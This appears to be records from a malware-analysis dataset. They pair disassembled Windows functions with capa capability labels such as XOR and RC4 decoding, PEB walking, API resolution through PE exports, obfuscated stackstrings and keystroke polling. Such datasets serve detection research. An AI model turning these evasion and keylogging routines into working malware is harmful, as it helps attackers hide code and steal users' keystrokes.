joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5cb172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x5cb1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x5cb1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x5cbdff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.005cbf04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.005cbf20
push edx
push dword [ebp + 0x10]
push eax
call fcn.005cbeec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.005cbf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.005cbecb
push ecx
push dword [ebp + 8]
call fcn.005cbf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.005cbf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.005cbecb
push ecx
push dword [ebp + 8]
call fcn.005cbf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.005cbf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.005cbecb
push ecx
push dword [ebp + 8]
call fcn.005cbf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.005cbf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.005cbecb
cmp ecx, 0x2b
jne 0x5cbe0f
leave
ret 0xc

Function at 0x5cd4b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x5cd544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0xe1610
push 0
call dword [eax + 0x20]
test eax, eax
je 0x5cd5d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0xe1610
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0xe1610
call fcn.005cd3fa
push 0xe1610
push dword [ebp + 0xc]
call fcn.005cb1a8
test eax, eax
jne 0x5cd5b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0xe1610
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.005cd5dd
test eax, eax
je 0x5cd5d6
jmp 0x5cd574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x5cd5d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x5cd60b
Capabilities:
Terminate process

Disassembly:
call fcn.005cd618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x10039714
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1003f6e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x110]
xor ebx, ebx
push eax
push 0x20019
push ebx
push 0x10004838
push Ordinal_3
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100397f7
push edi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x10c], 1
push eax
lea eax, [ebp - 0x108]
mov edi, 0x104
push eax
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x114], edi
push eax
push ebx
push ebx
push dword [ebp - 0x110]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100397e6
cmp dword [ebp - 0x10c], 2
mov byte [ebp - 5], bl
jne 0x100397b7
push edi
push esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
dec eax
lea ecx, [edi - 1]
cmp ecx, eax
sbb ebx, ebx
inc ebx
jmp 0x100397e6
lea ecx, [ebp - 0x108]
sub ecx, esi
lea eax, [edi + 0x7ffffefa]
test eax, eax
je 0x100397d8
mov al, byte [ecx + esi]
test al, al
je 0x100397d8
mov byte [esi], al
inc esi
sub edi, 1
jne 0x100397bf
test edi, edi
jne 0x100397dd
dec esi
mov byte [esi], bl
xor ebx, ebx
test edi, edi
setne bl
push dword [ebp - 0x110]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop edi
jmp 0x100397f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1003a1d0
leave
ret

Function at 0x10039aa0
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
mov dword [ebp - 4], edx
push esi
push edi
test ebx, ebx
je 0x10039b1a
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
add edi, 1
je 0x10039b1a
lea esi, [edi + edi]
lea ecx, [esi + 1]
push 1
push ecx
call dword [sym.imp.msvcrt.dll_calloc]
mov ecx, dword [ebp - 4]
add esp, 8
mov dword [ecx], eax
test eax, eax
jne 0x10039af2
push 0x10004b40
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0
push 0
push esi
push eax
push edi
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp eax, esi
jg 0x10039b0c
test esi, esi
jns 0x10039b1a
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1003a420
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1003a45e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x1003a456
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x1003a460
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x1003a446
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1003a530
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x1003a561
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x1003a561
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x1003a561
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10050348
Capabilities:
Encode data using xor

Disassembly:
call 0x100502c1
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100502f1
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1005030d
xor edx, 0
jmp 0x10050318
xor edx, edx
jmp 0x1005032f
jmp 0x1005033b
xor eax, eax
push 0x8427d7c0
call 0x10050348
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x10050384
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1005035d
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1005039b
add eax, 0
jno 0x100503a0
add esi, 0
ret 0x10
Function at 0x10055304
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1005524d
add ebx, 0
push ecx
call 0x10055262
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x72cc03a0
sub ebx, dword [0x72cdfbdf]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x72cdfbcf
call fcn.10050d2c
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1005023a
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100553c0
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100553c0
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10055377
mov eax, 1
lock xchg dword [0x72cdfbdb], eax
push 0x3dd1fc71
call 0x10055304
push esi
add esp, 8
cmp eax, 0
jne 0x100552ed
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x10055313
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x10055328
cmp ecx, edx
cmp eax, 0
je 0x1005534d
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x10055337
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10055366
dec eax
loope 0x10055369
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x72cdfbdb], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1005539d
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100553b2
jmp 0x100553bd
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100552ab
Function at 0x1005c425
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1005c6fb
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x72ccc853
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x72cc3819
push 0xffffffffffffffff
call fcn.10053625
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1005c48f
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1005c4a7
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1005c6ef
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1005c6c3
Function at 0x1006c05a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1006c0b3
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1006c05a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1006c069
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10471d0c
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1006c0ba
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10052f30
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006c159
add edi, 4
add eax, 2
dec ecx
jne 0x1006c09f
call 0x1006c106
loope 0x1006c0fc
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1006c156
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1006c167
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1006c11a
cmp eax, ecx
ja 0x1006c11a
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1006c1a4
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1006c19a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005340f
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1006c069
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1006c0b3
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1006c05a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1006c069
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10471d0c
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1006c0ba
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10052f30
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006c159
add edi, 4
add eax, 2
dec ecx
jne 0x1006c09f
call 0x1006c106
loope 0x1006c0fc
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1006c156
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1006c167
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1006c11a
cmp eax, ecx
ja 0x1006c11a
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1006c1a4
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1006c19a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005340f
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40fd40
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a442b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00495e96
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40fdc2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00492d84
mov eax, dword [eax]
push 0x6fb230
push eax
call fcn.00484be4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00496121
test bl, bl
je 0x40fdc2
push 0x6fb230
lea ecx, [esp + 0xc]
call fcn.004964fd
push 0x6fedc0
lea ecx, [esp + 0xc]
call fcn.004964fd
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40fdfe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00496121
jmp 0x40fec9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40fe82
lea edx, [esp + 0x7c]
push 0x6fedbc
push edx
call fcn.00484be4
add esp, 8
test eax, eax
je 0x40fe82
lea eax, [esp + 0x7c]
push 0x6fedb8
push eax
call fcn.00484be4
add esp, 8
test eax, eax
je 0x40fe82
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40fe12
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00496121
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4106c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x410722
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x410730
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a44ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x70c480]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x410868
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x410796
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00496121
xor eax, eax
jmp 0x4108df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004962aa
push esi
lea ecx, [esp + 0xc]
call fcn.00496539
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x6fedf8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4108bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004106c0
test eax, eax
jne 0x4108bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004106c0
test eax, eax
jne 0x4108bd
lea eax, [esp + 0x14]
push 0x6fedd4
push eax
call fcn.00485cc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41089c
lea ecx, [esp + 0x14]
push 0x6fedd0
push ecx
call fcn.00485c40
mov esi, eax
add esp, 8
test esi, esi
jne 0x41089c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41089f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0049625a
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4107ae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00496121
xor eax, eax
jmp 0x4108df
mov byte [esi], 0
push 0x6fedcc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00496121
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x421da0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x421e0e
cmp si, 0x69
ja 0x421e0e
add esi, 0xffd0
cmp si, 0x11
je 0x421dde
push 0x11
call edi
test ax, ax
jge 0x421dde
or esi, 0x2000
cmp si, 0x10
je 0x421df3
push 0x10
call edi
test ax, ax
jge 0x421df3
or esi, 0x4000
cmp si, 0x12
je 0x421e08
push 0x12
call edi
test ax, ax
jge 0x421e08
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x421e1b
mov esi, 0xbd
jmp 0x421dcf
cmp si, 0x6e
jne 0x421e28
mov esi, 0xbe
jmp 0x421dcf
cmp si, 0x6f
jne 0x421dc9
mov esi, 0xbf
jmp 0x421dcf

Function at 0x423480
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x71d310]
xor edx, edx
cmp eax, edx
jne 0x4234a6
xor eax, eax
mov byte [eax + 0x71d210], al
inc eax
cmp eax, 0x100
jl 0x42348e
mov dword [0x71d310], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x71d210
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x423537
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42350a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4234d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4235b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x423603
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4235ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret